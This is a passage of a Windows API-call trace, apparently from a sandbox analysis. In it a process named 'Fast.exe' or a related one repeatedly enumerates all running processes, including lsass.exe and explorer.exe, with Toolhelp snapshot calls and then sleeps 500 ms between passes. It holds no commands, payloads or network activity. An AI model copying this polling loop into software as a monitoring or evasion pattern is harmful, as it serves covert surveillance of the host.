hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.321] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.324] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.326] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.327] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.328] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0226.329] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0226.330] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.331] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.332] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0226.333] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0226.335] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0226.410] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0226.411] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0226.413] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0226.414] CloseHandle (hObject=0x1d4) returned 1 [0226.414] Sleep (dwMilliseconds=0x1f4) [0227.004] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0227.010] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.012] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.013] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.015] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.016] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.017] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.018] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.019] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.020] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.021] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0227.022] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.024] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.025] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.026] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.027] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.028] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.030] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.030] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.032] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.033] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.035] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0227.036] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0227.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.037] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.038] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0227.039] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0227.115] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0227.116] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0227.117] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0227.119] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0227.120] CloseHandle (hObject=0x1d4) returned 1 [0227.120] Sleep (dwMilliseconds=0x1f4) [0227.756] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0227.769] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0227.770] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0227.772] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0227.774] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.775] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0227.776] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0227.777] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0227.779] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0227.780] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0227.781] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0227.782] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.784] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.785] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.785] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.787] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.787] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0227.789] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.790] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.791] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0227.874] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0227.875] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0227.877] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0227.880] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0227.881] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0227.882] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0227.883] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0227.884] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0227.886] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0227.888] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0227.889] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0227.890] CloseHandle (hObject=0x1d4) returned 1 [0227.890] Sleep (dwMilliseconds=0x1f4) [0229.014] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0229.022] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.024] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0229.025] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0229.026] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.027] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0229.028] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.030] Process32NextW (in: hSnapshot=0x1d4, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, 